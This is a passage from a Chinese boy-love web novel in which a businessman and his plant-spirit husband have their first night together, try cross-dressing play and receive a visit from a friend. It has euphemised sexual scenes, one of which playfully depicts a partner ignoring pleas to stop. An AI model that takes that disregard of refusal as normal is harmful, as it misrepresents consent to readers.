——自己似乎太操之过急了,这么急吼吼地就想做这档子事,甚至都没有征求过人的想法。 恐怕把小朋友吓到了。 明明都这把年纪了,怎么到头来还像个毛头小子一样,急不可耐的。 想到这,他不由得深呼吸一口气,压下心动叫嚣着的混账想法。 “抱歉,是我太过分了。” 说着,他歉意地揉了揉人的脑袋,刚想要起身离开,却被下方的小朋友给拽住。 “我、我没说不可以呀。” 话音落下,佘念不好意思地撇开视线,声音越说越小,耳尖倒是越来越红。 “我只是不知道该怎么做,我也想和你一起授粉的。” 授粉? 听见这个描述,段闻洲先是愣了愣,随即哑然失笑。 ——也对,自家这位小朋友是株小蛇舌草精来着,对植物来说确实是这么称呼这件事的。 “别担心,我会教你,把一切都交给我就好了。” 一边说,段闻洲一边俯下身,温柔地在人眉间落下一个吻。 “佘念,你愿意吗?” “我愿意的!” 像是为了证明自己所说的话的真实性,佘念仰起头,亲了亲他的下巴。 落花有意,流水也有情,那么接下来要发生的事,自然是水到渠成的。 手背青筋凸起的大掌在皮肤表面游.走着,衣物被掀.起,露出略带赘肉的柔软小.腹,又白又软,叫谁看了都忍不住想亲一口。 而段闻洲也确实是这么做的。 除此之外,还在其他地方逗弄欺负了人好几把。 这样肌肤相贴的亲昵,倒是让一向大大咧咧的佘念害羞了。 明明之前也会对人做出各种亲昵的举动,但偏偏在这时候又羞涩起来。 他的一张脸已经比熟透的番茄还要红,下意识捂住了嘴,抿紧嘴唇,避免一些抑制不住的细碎嘤.咛从嘴角渗出。 “你、你为什么这么熟练啊?难道你和别人做过这种事吗?” 刚刚口中说的也是会教自己,看着身上动作如此游刃有余的男人,小蛇舌草又羞又气,还以为他有经验。 ——羞主要是觉得很不好意思,气则是因为比起男人的从容,自己的手足无措倒显得落下风了。 “怎么会。” 顿了顿,段闻洲尴尬地清了清嗓子,对人说出了真相。 “其实,我也是第一次。” 放在之前,段闻洲从来没想过自己会和他人有肌肤之亲,曾经看着好友与恋人恩恩爱爱,亲昵得犹如连体婴似的,他完全不能理解为什么会有人喜欢这般的亲密接触。 他也曾想过,是否要随波逐流,也试着谈一场恋爱,尝试与他人进行肢体接触。 但这个想法还未出生便被扼杀,因为光是想象了一下那个画面,段闻洲就觉得浑身直起鸡皮疙瘩,难以接受。 直到遇见佘念后,他才知道,原来有的欲望无需催发,就会自然生长的。 只有佘念才可以,除了他谁都不行。 曾经的不适与排斥,这些规则在对象是佘念时尽数消散,剩下的只有止不住的渴望。 ——想牵他的手,想吻他的唇,更想紧紧拥抱他。 引以为傲的自制在心爱之人面前完全发挥不了作用,唯一想做的就是独占他。 面对爱人,心动最原始的欲.望被激发,本能地就会寻找发.泄出口,知道下一步该做什么。 当衣衫褪.尽,剥.落出雪白的身躯时,就连身下洁白的床单都为之黯淡。 被人摸得舒服极了,方才还活蹦乱跳的小蛇舌草,此时大脑已经昏昏沉沉,如同一只被撸舒服的小兽一般,哼哼唧唧,黏人极了。 不仅黏人,而且还乖,听从着身上人的话语,让抬手就抬手,让抱住腿就抱住腿,不管什么都照做。 “宝宝,转过身去好不好?” 当听到全新的称呼时,佘念滞涩的大脑先是花了好几秒才消化了听到的内容,然后乖巧地改为趴在床上。 望着人后背凹陷的曲线,蝴蝶般凸起的肩胛骨,还有浅潭般的腰窝,段闻洲的呼吸瞬间又变得粗重了几分。 或许是良久没感受到上方人的动作,佘念还睁着一双湿漉漉的眼睛,疑惑地回头看了一眼。 ——那样纯良温顺的眼神,任谁看了估计都会把持不住。 段闻洲亦是如此。 理智的弦彻底断裂,他俯下身来,亲吻着人肩胛骨处的那颗小痣。 珍重,又虔诚,像是在亲吻神明一般。 不得不说,刚刚那一声“宝宝”的威力实在太大,直到现在佘念都还有些没回过神来,整个人飘飘然的,仿佛踩在棉花上一样。 直到一阵短暂的疼痛传来,他才有片刻的清醒回神,但很快便继续沉浸其中。 起起伏伏中,他整个人控制不住地向前冲去,好几次脑袋要碰上床头柜时,一只大手都会及时出现,温柔地护住自己,将其隔开。 就在佘念意识迷离中,他察觉到身上人的动作忽然停了下来,迟疑的声音传来: “你的,头上——” 闻言,佘念茫然地抬头看去,颤抖着伸出无力的手去摸自己的脑袋。 然后,他在头顶处摸到了一朵花。 他缓慢地眨了一下眼,险些捋不明白现状。 在和段闻洲“授粉”的过程中,自己,居然开花了? 这下佘念脸上的茫然更深了。 通常来说,这种情况下自己会开花,那就只能说明一件事。 那就是现在的自己处在极度愉.悦的状态下。 换句话说,爽爆了。 因为和人类做这事爽到头,飘飘欲仙到开花了。 这传出去,大概有些丢草的脸。 想到这,佘念不由得捂住了羞红的脸,一声不吭。 偏偏段闻洲还不知道发生了什么,好奇地用手碰了碰那朵白色小花。 被骨节分明的手指碰到,娇嫩的花瓣蜷缩了几分,似是有些不好意思。 触感化作电流,加倍从头顶传导至身体,佘念只觉浑身上下也被人摸了一遍似的,又痒又酥。 “嗯哼……” 甜.腻的声音情不自禁从嘴角溢出。 听见这声响,两人皆是一愣,段闻洲停下动作,讶异地低头看来。 他顿了顿,紧接着又试探着戳了戳白色小花朵。 果然,一碰小花,佘念的身上就像是有电流窜过,仿佛共感了一样,触摸的感觉同步落在身体表面。 就像是发现了好玩的一样,段闻洲忽然起了逗人的心思。 “宝宝,我摸你头上的花,你也会有感觉吗?” 他明知故问,继续拨弄了一番白花。 而佘念没有开口,也不知是不想理人,还是已经没有力气回答,就只是抿着嘴巴,瞪着一双湿漉漉的眼睛望来。 眼中氤氲着水气,满是谴责,但毫无威慑力。 “嗯?没有吗?” 见人没有反应,段闻洲将花捧在手心里细细把玩,从花瓣到根茎,每一处都摸了个遍。 “呜……你故意欺负我。” 被逗得实在受不了,佘念的脸已经通红,就连膝盖等关节处都泛起了薄红。 一双剔透的眼珠子此时已经蒙上了水雾,湿润又圆润,楚楚可怜极了。 “我没有,宝宝,我疼你都还来不及。” 哪舍得欺负他,段闻洲俯下身,温柔亲了亲那朵花,然后又衔住了小朋友的唇瓣。 “嗯……不许,欺负我噢。” 乖巧的佘念就这么轻易地被人哄好,予取予求地回应着这一吻。 “是因为很喜欢,觉得这样很舒服,所以才会开花的。” 在亲吻的间隙,他断断续续地回答了方才的问题。 ——喜欢,舒服。 面对这样的话,应该没有哪个男人能招架得住,感受到体内的变化,佘念愣了愣,随即都快要哭了。 “你、你怎么——” 他带着哭腔问道。 “抱歉宝宝,你今晚,可能要开一晚上的花了。” 只听段闻洲攥紧拳头,显然也是在克制自己,豆大的汗珠沿着他的喉结滚落,哑着声音略表歉意地说道。 第99章 床侧地板堆放着的, 除了凌乱的衣物外,还有数不胜数的白色小花。 层层叠叠,零星点点, 和着叶片一块点缀在地面, 尽情绽放。 像是为了遮掩什么似的, 白花一从头顶冒出,就被赌气的主人一把拽下, 气呼呼地扔到床底下。 可是紧接着,又有白色小花不停冒出。 那根藕节一般雪白的胳膊, 还没来得及收回去,便被另一只粗壮几分的手臂给覆住, 与其十指相扣, 牢牢攥住。 一晚上下来, 佘念都数不清自己到底开了多少次花。 好不容易等到第一次结束时, 他累得趴在了床上,气喘吁吁,动都不想动。 他不由得心想, 没想到人类间的授粉这么累, 简直要被榨干了。 但好在终于完成了,自己可以歇会了。 就在他处于贤者时间, 大脑放空, 准备歇会就闭上眼睡觉时,没想到段闻洲竟又附身压了上来。 “嗯哼?” 见状,佘念懒洋洋地抬起一只眼皮看来, 困意溢于言表,累得只用鼻音向人发来询问。 “宝宝,你不会觉得, 一次就结束了吧?” 只听见上方的男人附在耳畔边,用低沉得能让人溺毙的温柔嗓音,说出了一句可怕的话语。 佘念的眼睛缓缓瞪大,头顶缓缓抠出一个问号,茫然地反问: “难道,不是吗?” 授粉不是一次就完成了吗?难道还有别的事情要做? 闻言,段闻洲低笑一声,轻咬了一口他的耳垂。 “宝宝,对于人类来说,一次是远远不够的。” “我们还有整整一晚上的时间。” 抗议的声音被堵在口中,紧接着又是一波云雨。 原先被铺得平整的床单,此时已经成了满是褶皱的世界地图,表面布满皱巴的曲线作山川,淅沥的或粘.稠的液体作河流。 这些变化,明晃晃地记录着这几个小时内发生了多么激烈的碰.撞。 直到这时,佘念才终于明白,为什么曾经祁宁会开玩笑地说段闻洲是只老狐狸,说他并没有表面看起来那么温柔。 今晚的段闻洲何止是不温柔,简直是太凶了! 明明是个人类,可却像听不懂人话一样,喊他停下来也不听。 体力再好也不是这么用的。 另外还跟看不懂气氛一样,明明自己都被弄得快哭了,他却反倒说更兴.奋了。 还用舌尖舔掉了眼角的泪珠。 昏昏沉沉,半梦半醒,佘念只觉得自己好像锅里的鱼,被翻来覆去,又煎又爆炒。 期间昏过去了几次,又醒了几次,他都数不清了。 偏偏每次醒来睁眼看去,段闻洲都还没有停下来的意思,依然在兴头上。 不得不说,老房子着火,烧得有点太噼里啪啦了,火势太旺,让小草都快有些承受不住了。 “唔……” 被折腾得受不了的佘念低哼一声,在中途停下的间隙,伸出颤巍巍的胳膊,本能地向前爬去,试图逃走。 可刚爬出两步,便又被人抓住脚踝,给拽了回来。 “宝宝,你要去哪?” 身上的段闻洲俯下身吻着他的后劲,富有磁性的男低音在耳边响起,充满蛊惑力。 “我要休息——” 见逃不掉,佘念索性摆烂,扁了扁嘴,用胳膊肘软绵绵地向后捅去,发出抗议。 虽然吧,这样的抗议落在人眼里,更像是无意识的撒娇。 “最后一次。” 段闻洲掰过他的脸,亲了亲。 “你两个小时前就是这么说的了!” 聪明的小蛇舌草绝不会在一个坑里摔倒两次,也绝不会被一个谎言欺骗第二次! “这次我保证,不骗你。” “我不信……唔唔——” 抗议的话还没说完,便被人以吻堵住,接下来的话语尽数吞咽回肚中。 半梦半醒间,佘念迷迷糊糊地心想,其实这件事还是挺舒服的,比想象中爽。 唯一美中不足的,就是没想到人类的授粉要做这么多次。 多到自己都快虚脱了。 啊,等等,窗外那是早上的太阳吗?居然已经过了整整一夜了? 但偏偏折腾了这么久,段闻洲还是一副游刃有余的样子,如果不是顾虑到太过火他自己停了下来,佘念觉得没准还能继续。 唉,老公体力太好了也是个麻烦事啊。 再也撑不住,佘念也顾不上其他的了,就这么闭上眼撅了过去,睡得昏天黑地。 等他再次醒来时,已经是晚上了。 “醒了?” 刚一睁开眼,身旁的人便察觉到了动静,立刻停下手中的动作看来。 佘念揉了揉惺忪的眼睛,放空了好半天后视线才聚焦,滞涩的大脑转动起来。 只见此时段闻洲正靠坐在床头,一手拿着手机,一手搂着人,见人醒来,他便弯腰靠近几分,用手背贴了贴人的额头。 “嗯没发烧……身上还有没有哪里不舒服?” 确认佘念体温没问题后,他稍稍放下心来,脸上浮现一抹内疚。 “没有,就是好累噢。” 佘念佯装埋怨,瓮声瓮气地说。 自己浑身上下很清爽,一点昨晚黏糊糊的感觉都没有了,想必是在昏睡的过程中,老公已经帮自己清洗了身体。 只不过酸痛感仍在。 就好像是被车碾过一样,佘念只觉得连抬手指的力气都没有,身上哪哪都又酸又痛。 特别是腰部,还有某处不可言说的部位。 一想到昨晚某人的“恶行”和不听人话,我们的小蛇舌草就小发雷霆。 他扯过被子把自己包得严严实实,只剩一张脸在外面,眼睛微眯,眼珠子向上翻,露出大半眼白,警惕地盯着人看。 审视的目光投来,写满了我在记仇。 “怎么了?” 被这幅可爱的表情逗乐,段闻洲替人捋了捋鬓边的碎发,好笑地道。 “我在生气!” 在生气诶,你怎么还能嬉皮笑脸的呢!能不能尊重一下我!小蛇舌草气鼓鼓地说。 似乎是觉得这么说分量还不够,回想到昨晚上的事,他又补充道: “我讨厌你!” 可这么一句讨厌从他的嘴里说出来,不像是在生气,更像是在撒娇。 “嗯,我也喜欢你。” 闻言,段闻洲笑了笑,连着被子一块将人整个搂进怀中,轻声道歉。 “对不起,宝宝,昨晚是我太过火了,一下子没控制住自己。” 说着,他又凑近亲了亲人。 耳中捕捉到宝宝这一称呼,小蛇舌草的雷达瞬间作响,头顶的呆毛仿佛天线一样立了起来。 ——我也不想原谅他的,可是他喊我宝宝诶。 昨晚虽然被折腾得晕头转向的,但也爽得迷迷糊糊的,那会大脑一片空白,听见这个亲昵的称呼还没有什么实感。 而眼下在完全清醒的状态下,亲耳听到这个词从老公口中说出,又是以如此温柔磁性的低沉嗓音,佘念没来由地小脸一红。 他缓缓地又往被子里缩了缩,变成只有半张脸露在外面。 脸颊的薄红被悄悄藏了起来,但依然能透过耳根观察到。 “老公,你、你再叫一次。” 他佯装镇定地道。 看见这个反应,段闻洲立刻明白,小朋友是喜欢被自己叫宝宝。 于是他勾了勾唇,凑到人耳边,有意无意地压低了声音: “对不起,宝宝,可以原谅我吗?” “宝宝,你喜欢的话,可以让我以后一直这么叫你吗?” “我爱你,宝宝。” 在一声声的宝宝中,佘念逐渐迷失了自己,几乎快要被哄成胚胎。 “那、那好吧,这次原谅你了哦。” 五迷三道的,他故作冷静地咳了咳,假装随意地应道。 ——我们小蛇舌草可是很难哄的,得这么多声宝宝才能哄得好呢。 “谢谢宝宝。” 见状,段闻洲嘴角的笑意更甚,把人搂得更近了些,一边替人按摩着腰部,一边将人从被子里剥出来。 昨晚他也知道自己过于失控,自制力溃不成军,完全丧失了作用,只剩对本能欲望的追逐,以至于把小朋友折腾得有些过火。 毕竟,人生头一次心动得如此热烈盛大,心爱之人又如此可爱诱人,种种因素加持,就像是干柴遇上烈火,星星之火遇上草原,瞬间燃起了大火。 “饿不饿?厨房里温着饭菜,随时可以吃。” 摸得人瘪瘪的肚子,想到佘念几乎睡了一天一夜,段闻洲问道。 得到人点头的肯定答复后,他便起身,小心地扶着小朋友坐起后,又任劳任怨地亲手帮其穿上衣服。 就在他准备扶着人站起来时,没想到佘念并没有动脚,而是径直对人张开了怀抱。 那抬起的胳膊,发出了无声的暗示。 ——要抱。 读懂了他的意思,段闻洲弯了弯眼睛,一手揽过人的胳膊,另一只手拖着人的臀部,就这么把人抱了起来。 确保佘念在胳膊上坐稳了后,他略微调整了一下姿势,就这么单手抱人下了楼,任劳任怨地充当代步工具。 被小心放在餐桌椅上,紧接着色香味俱全的饭菜也被依次摆上桌。 看着跟前的饭菜,佘念没有动作,而是对着人长大了嘴巴。 “啊——” 这翘首以盼的样子,含义不言而喻。 ——快来喂我! 大概是昨晚刚全身心深入交流的缘故,佘念变得比以往还要黏人。 但偏偏段闻洲就喜欢他这个样子。 他拿起勺子,就这么一口一口地喂人吃下了整碗饭。 饭后,两人一块坐在沙发上看电视。 佘念就像没骨头似的,坐没坐相,一会歪着身体靠在人身上,一会又躺着把脚搭在人腿上。 反正怎么舒服怎么来。 瞧着身边粘乎乎的小朋友,段闻洲哑然失笑,大手一捞,直接把人带到自己腿上坐着。 两人对视一眼,彼此谁都没有先开口,但气氛已悄然发生改变。 四周的温度无声无息地提高,暧昧的气氛在发酵,即使是迟钝的佘念,也能意识到氛围的变化。 与人视线交汇的刹那,仿佛坠入了深不见底的大海,被其中满满的爱意包裹。 下一秒,大掌贴上脸颊,薄唇紧随其后覆上。 感受到唇瓣上传来的力道,佘念缓缓地闭上了眼,温顺地回应着这个吻。 窗外月色正好,屋内爱意仍在持续弥漫。 第100章 当两人吻得难舍难分时, 一阵突然响起的电话铃声打断了他们。 “抱歉,我先接个电话。” 两人定睛一看,只见是段闻洲的电话在响, 屏幕上显示是秘书打来的。 想必是工作上的事, 毕竟为了照顾佘念, 今天的段闻洲专门请了假,一整天都没有去公司。 正被亲得上头, 猛然间中断,就好像即将到达快感的临界点, 紧接着又被生生扼住。 不满的佘念撅嘴看着人,怨念的眼神散发着幽幽的光芒。 注意到他的视线, 段闻洲说话的动作顿了顿, 对他微微勾了勾唇, 挠了挠人的下巴算作安慰。 “宝宝, 你自己玩一会,等我处理完工作再陪你。” 他柔声道。 本来就是佯装生气,又被这句宝宝一哄, 佘念瞬间阴转晴开心了。 于是他懂事地点了点头, 乖巧地窝在人怀里。 ——虽然说吧,他本来也没打算恃宠而骄不许人接电话, 但能被人反过来哄一哄, 自然是更高兴的。 大概是工作上的事比较麻烦,好半天段闻洲都没结束通话,于是百无聊赖的小蛇舌草开始给自己找点事做, 来打发时间。 他先是歪靠在人肩窝处蹭了蹭,像是要蹭上气味的小狗一样,毛绒绒的脑袋不停贴在上方不放, 连头发都蹭出静电来了。 蹭完人后,他又仰起头,吧唧一口凑到人下巴处亲了一口。 一口不够,再来一口,像在盖戳似的。 感受到皮肤表面湿润温热的触感,段闻洲弯了眼,颇为宠溺地任由人对自己“为非作歹”,包容着他的所有小动作。 时不时还贴心地扶住小朋友的腰,以防在腿上乱动的人掉下去。 亲够人后,佘念又开始玩段闻洲的大手。 小手描摹着大掌,从手背凸起的青筋游走起,再到骨节分明的手指,又抚摸上略显粗糙的指腹。 最后还调皮地在人手心里挠了挠。 收回手,段闻洲好笑地捏住他的鼻子,逗弄得小朋友呼吸不了了才放开。 好无聊啊,怎么还没打完电话—— 又等了十分钟,见老公还没有要结束的意思,佘念小声嘀咕两句,打算去喝口水。 不过就在他刚跳下沙发的瞬间,一只有力的胳膊便从后方伸来,不由分说地将其重新揽回怀中。 嗯? 状况外的佘念缓慢地眨了一下眼睛,发现自己这一跳还在原地,愣愣地抬头看去。 “好,合同就安排在下周签约……” 偏偏段闻洲还是一副忙于工作的表情,继续同那端的秘书说着有关内容。 仿佛刚刚伸手把人捞回来的不是他。 看似全身心地投入到工作中,实则一直有分出心思,关注佘念的一举一动。 “宝宝,再等一分钟。” 只听他压低声音,轻声细语地同人说道。 “嗯?段总您说什么?” 那端的秘书没听清,还以为是在同自己说话,不由得追问。 “不,没什么,就按我刚才的安排来。” 回答对面时,段闻洲的语气立刻切换回了工作中的状态,严肃又沉稳。 哪还有半分方才的温柔劲。 “无聊了?” 结束通话后,段闻洲终于放下手机,大手包裹住人的下巴,捏了捏。 “唔,其实我是想去喝水。” 被大掌捏住,佘念的脸颊两侧鼓出两团软软的腮肉,乍一看就像是仓鼠一样。 闻言,段闻洲还是没有把人放开,而是一把抱着人站起,来到桌边倒了一杯水,就着自己的手喂到其嘴边。 “放我下来啦,我可以自己喝的。” 说着,佘念想要接过水杯,可拿着杯子的手却避开了他,不让他自己拿。 “我喂你。” 段闻洲不由分说地道。 没法,佘念只好由着人喂自己喝下,喝完后,他还没来得及开口说话,便再一次被人以吻堵住了嘴唇。 空的玻璃杯哐当一下,倒在桌面。 被人按在桌子上亲得晕晕乎乎时,佘念不由得心想,总觉得自从互相表白后,老公好像变得比之前更黏人了。 打电话时不让自己离开就算了,走到哪都要抱着自己,或者和自己呆在一起,现在连自己喝水都要亲自喂,就好像舍不得分开似的。 ——虽然说,自己也舍不得和人分开,也很喜欢老公这个样子就是啦。 ———— 晚上洗澡前,佘念弯着腰在衣柜里翻找换洗衣服。 翻着翻着,他再次看见了柜子底下的那件黑色紧身裙。 ——对哦,老公喜欢看自己穿女装来着。 想起这件事,拿出裙子反复打量了一番,确认这真的是自己的尺码后,佘念犹豫片刻,回头看了看卧室的方向。 此时的段闻洲正在浴室洗澡,磨砂玻璃表面映照出人朦胧的健壮身影。 反正两人已经是正式的夫夫,连那档子事情都做过了,也没什么害羞的了。 既然如此,顺着老公的爱好来,也是人之常情吧? 就像网上说的,夫夫生活间,偶尔也需要一下情感的润滑剂。 ——至于什么能当润滑剂,你别问,这是小两口间的情.趣。 想到这,佘念深呼吸一口气,抚了抚胸口,下定决心后,就抱着裙子小跑去了另一间卫生间。 等到段闻洲洗完澡出来,映入眼帘的便是这样一副画面: 只见佘念一袭黑色紧身裙,挂脖露背的包臀裙穿着他身上,尺寸完全贴合,一寸不多,一寸也不少,就这么刚刚好地勾勒出人完美纤细的身体曲线。 细得仿佛两只手掌就能全部握住的腰,圆润白皙得比雪还胜几分的肩头,还有和筷子一样笔直光滑的长腿。 裙摆堪堪遮住臀.部,只要略微一弯腰,就会春.光乍泄。 “好看吗?” 有了之前几次的经验,这次佘念没那么害羞了,只是向下扯了扯过短的裙摆,避免走光。 被这样一双水汪汪的大眼睛注视着,又看见这样出乎意料的扮相,段闻洲呼吸一滞,只觉心脏好像被什么给击中了。 不得不说,这身衣服穿在佘念身上确实很合适,自己当初按照小朋友的意思买回来,是个正确的决定。 但是话又说回来,小朋友为什么翻出来了这件衣服,还换上了? 果然是因为喜欢女装吗? “不好看吗?” 没有得到回答,还以为是自己穿着不好看,佘念扁了扁嘴,委屈地低下头来。 “不,很好看。” 段闻洲情不自禁吞咽着口水,喉结滚动。 “真的吗?” 得到满意的答复,佘念缓慢地眨了一下圆眼睛,双手背在身后,弯腰凑近几分,好奇地确认道。 陡然靠近,秀气白净的脸颊在跟前放大,清澈的瞳孔中映照的全是段闻洲的身影。 “真的。” 目光交汇之时,段闻洲下意识垂下眼眸避开视线,一抹绯红悄然浮上耳廓。 “你喜欢就好——” 闻言,佘念咧嘴露出一个灿烂的笑,然后径直抬手,兴奋地搂住了人的胳膊。 距离凑得太近,花.白的胸.脯就这么明晃晃地袒露在眼前。 偏偏当事人还全然不知此时的自己有多诱人,毫无保留地展现着全部的曲线和肌肤,不停地蹭.着人,撩拨着人。 瞬间体内有一股无名火窜起,段闻洲深吸一口气,握住人的手,紧接着反身一压,两人的姿势陡然调转,上下位置发生变化。 忽然被压在身下,佘念尚在状况外,茫然地看着上方的人。 “小朋友,你是特意穿这身给我看的吗?” 他听见段闻洲的声音从头顶飘来。 为了讨老公欢心,所以才特意换上了他爱看的女装,四舍五入,也算是特意为他而穿的吧? 于是乎,佘念懵懂地点了点头。 这个反应落在人眼中,相当于直接承认了,面对这样的挑逗,只要是个男人都忍受不了。 于是大掌贴.上白皙光滑的小腿,顺着曲线一路向上游走,探.进.裙.摆。 接下来要做什么,无需赘言。 “可以吗?” 在即将开始前,段闻洲喘着粗气,硬生生克制住了欲望,耐心地询问道。 ——如果得到了否认的答复,那么他肯定会遵循佘念的意愿停下来。 顾虑到昨晚上的疯狂,他近期本来不打算再做这件事,想让小朋友好好休养一段时间的,毕竟上次已经很过火了。 但他万万没想到,洗完澡出来,小朋友居然会以这样一身打扮等着自己。 这和盛情邀请有什么区别? 努力压抑的欲望,如此轻易地就被击溃,瞬间形成燎原之势。 “嗯……” 被这么正经地一问,佘念也不好意思起来,红了脸,轻轻应了一声。 虽然说昨晚已经足够疯狂,被翻来覆去弄了好多好多次,但毕竟本体是一株蛇舌草,在自带的治愈能力下,身体很快就能恢复。 巫山云雨间,黑裙被粗.暴地脱下,很快就在过程中被蹂.躏得不成样子,甚至还被撕破了好几个洞。 被弄得神志不清时,佘念不由得更加肯定了自己的认知。 ——果然老公很喜欢看自己穿女装啊。 被勾得意乱情迷时,段闻洲不由得更加确信自己的想法。 ——果然自家的小朋友有女装癖。 就这样,误会宛如雪球似的越滚越大。 以至于后来,段闻洲为了满足小朋友的爱好,还专门买了不少新衣服回来。 白色的,粉色的,红色的和黑色的。 蕾丝的,丝绸的,还有薄纱的。 露腿,露胸,以及露肚脐的。 总之,怎么有特性怎么来,反正都不会穿出门,所以什么款式都可以尝试。 毕竟小朋友就好这口。 而当拆开那些快递,看到一件件极省布料的衣服时,佘念沉默了。 果然老公就是有这方面的癖好啦。 而且还愈演愈烈怎么回事。 没办法,自己只好满足了。 至于后来,这些衣服都被一一上阵穿过,然后又都被撕毁大半,那便是不能细说的过程了。 100-103 第101章 自从正式在一起后, 佘念就发现两人之间的相处模式,表面上似乎什么也没变,但又好像什么都变了。 细细想来最大的表现, 大概就在于彼此间更腻歪, 还有老公变得坏起来了。 有时候佘念都开始好奇, 老公到底本来就是这样白切黑略带坏心思,还是和自己在一起后才变成了这样。 ——因为在床上的时候, 老公总是凶凶的,势头猛得险些让人招架不住。 叫我们小蛇舌草每次都差点下不来床。 ——难怪祁宁曾经吐槽说老公其实是个老狐狸。 有时候佘念都怀疑, 有自我治愈恢复力量的人,到底是段闻洲, 还是作为药材的自己。 不然的话, 为什么每次自己都累了, 老公却还有精力再来一次呢? 每天都来就算了, 还每次都猛得不像话,好几次自己都被折腾得一直到天明。 腰疼的速度都要赶不上自愈的速度啦quq 这天下午,两人正在客厅待着, 忽然听见花园外传来一阵喊声: “佘念, 我来了——” 未见其人先闻其声,即使没看见来人模样, 但佘念也听出来了这是阮晨的声音。 在佘念苏醒过来的当天, 得知消息的阮晨就打电话进行了问候,得知人没事了以后才放下心来。 不过碍于当时他本人正在国外参加走秀,不能立刻赶回来探视。 眼下, 他一结束行程回国,就迅速赶了过来,连行李都没放下就直奔人家中。 “让我看看, 你恢复得怎么样?确定身体没有别的问题了吗?” 见到人后,阮晨将人上上下下地打量了一番。 “别担心,我已经完全康复了。” 冲人咧嘴笑了笑,佘念还特地在人跟前转了一圈展示,表示自己无碍。 “先进屋坐吧,齐先生不一块来吗?” 准备领人进屋坐下,回头瞥见车上的齐子修似乎没有要下来的意思,他好奇地问。 “他临时有一个线上会议,不知道要开多久,说让我们不用在意他,先进去吧。” 由于齐子修一定要来给阮晨接机,然后一定又要亲自开车把人送到段氏别墅这边,以至于不得不在车上处理事务。 但他本人却对此甘之如饴,不仅不觉得麻烦,还乐在其中。 “来,喝茶。” 等人在沙发上坐下后,段闻洲便将泡好的茶端了上来。 “谢谢。” 没想到是他亲自端茶,阮晨略显惊讶地接过了水杯。 “别客气,就当自己家一样,有什么需要的就跟我说。” 对人礼貌地笑了笑,段闻洲便又看向佘念,俯在人耳边轻声说: “宝宝,我去楼上书房了。” 说完,他还抬手揉了揉小朋友的脑袋,然后才上了楼。 “嗯呐。” 知道他是要给自己和朋友留独处空间,以防两人聊天不自在,佘念眨了眨大眼睛,用力地点点头,目送人的身影在楼梯口消失后才收回视线。 “他刚刚叫你什么?” 虽然声音很小,但阮晨还是依稀听见了,他差点以为自己出现了幻听,拧眉狐疑地问道。 “喊我宝宝呀,其实我还挺喜欢听老公这么叫我的。” 像是想到了什么,佘念忽然小脸一红,低下头来捂住发热的脸。 ——不对劲。 称呼喊得这么亲昵,反应还这么娇羞,阮晨瞬间意识到自己可能漏了什么大事。 “你俩,是不是在一起了?” “嗯啊……” 得到肯定的答复,阮晨了然,自顾自地点头琢磨一番,随即才反应过来,猛地扭头看来。 “什么时候的事?” 还记得前段时间佘念还在纠结追人的事,怎么这会两人就已经步入老夫老妻模式了? 自己错过了什么? “就是最近的事啦,我生病醒来以后,老公也对我表白了,所以顺其自然地……” 一想到这么重要的事没有跟好友说,佘念忽然间心虚起来。 不过他也不是故意的,因为这段时间阮晨一直不在国内,而在电话里自己也不好贸然把话题拐到这方面,毕竟这样也太刻意了,就好像在故意显摆似的。 于是,一直没找到机会把这事告诉人,慢慢地就拖到了今天。 听人描述了一下具体经过后,阮晨好笑不已: “你说要追人,他说那你追,光这句话你就已经成功大半了。” 毕竟,如果真的不喜欢的话,面对追人的宣告,谁会这么回答呢? “不过也好,你俩也终于讲开,得偿所愿了,这算不算因祸得福。” 他打趣道。 “连称呼都这么腻歪,看样子是感情好得不得。” “嘿嘿。” 确实感情很好,佘念傻乎乎地笑着。 不得不说,佘念和段闻洲还真是挺般配的,看着好友能够幸福安康,如愿以偿,阮晨也十分欣慰。 “好了看你没事我就放心了,我要先回去了,时差还没倒过来就跑你这来了。” 说着,阮晨伸了个大大的懒腰,准备起身离开。 临走前,他不忘叮嘱: “这段时间你就好好养身体,等恢复了以后再出来工作,我这边有两个适合你的行程,到时候发给你。” 虽然年纪比佘念小,但阮晨的做事风格更成熟,反倒像极了哥哥,颇具前辈范。 知道他很是照顾自己,佘念心里暖洋洋的,不由得上前抱住其胳膊,咧嘴笑着道谢。 ———— 让人进屋去就好不用特意送自己,阮晨回到了车边。 此时齐子修已经结束了线上会议,正站在车边等着人出来。 “现在回家吗?” 见人来了,他沉声开口。 而阮晨却没有回答,径直走到他的跟前,仰头盯着人看,一言不发,一眨不眨。 “怎么了?” 瞧着他这幅样子,齐子修感到奇怪,同时伸出手温柔地替人捋了捋碎发。 忽然间,他听见阮晨开口喊道: “老公。” 嗯?什么? 刚刚,是喊我,老公吗? 老公……? 我是不是出现幻听了? 齐子修肉眼可见地愣住了,动作一顿,呆滞得大脑都空白了片刻,第一反应以为自己产生了幻觉。 如果不是幻觉的话,怎么还有机会听见人这么称呼自己呢? 奇怪,怎么没反应? 刚刚佘念那两口子不是说,这样的称呼有助于感情升温吗? 怎么齐子修听了一点变化都没有,还是一副面无表情的样子? 得,看来这招对他不适用,以后再换一招吧。 “回家吧。” 想到这,失望的阮晨嘀嘀咕咕,自顾自地上了副驾驶,没再去看齐子修。 就在合上车门的那刻,背对着人的他没有看到男人的变化。 只见齐子修的脸正以极缓慢的速度被绯红占领,用肉眼可见的速度爬满了面庞。 一向处变不惊的脸颊,此时红得像是被挑逗的毛头小子一样。 刚刚,阮晨真的是叫我老公吗? 老公…… 回想起这个称呼,齐子修的脸再度爆红。 他木木地抬起手,大掌缓缓地覆盖住了脸颊,遮掩住红晕。 不知情的阮晨还在副驾驶催促: “怎么了?你不上车吗?” “……这就来。” 齐子修尴尬地清了清嗓子,定了定神,好不容易压下脸上的温度,还有嘴角上翘的弧度后,才同手同脚地回到了车上。 ———— 休息多日,佘念终于恢复了精神气,开始元气满满地继续工作。 而新接到的第一份工作,是拍摄一条宣传片,选取的拍摄地点在A大校园。 这是A市乃至全国都很有名的一所综合性大学,学术底蕴深厚,校园环境优美。 “好佘老师,状态不错,这条一遍过——” 随着摄影的话语落下,拍摄终于结束,佘念松了松领带,喘了口气。 今天的他被打扮成一个学生,穿着夏季校服,白衬衫加领带,黑长裤加帆布鞋,再斜挎上一个单肩包,简直实打实的大学生,洋溢着青春的气息,少年感十足。 混在这群真正的学生中,可以说毫无违和感。 准备离开时,佘念正思考是直接回家,还是去段氏大楼找段闻洲时,忽然余光一瞥,捕捉到一个熟悉的身影。 “阮晨?” “佘念?” 那人同样也瞧见了佘念,两人隔着花圃目光对视,齐齐出声喊道。 “你今天在这拍广告?” 见状,阮晨走了过来。 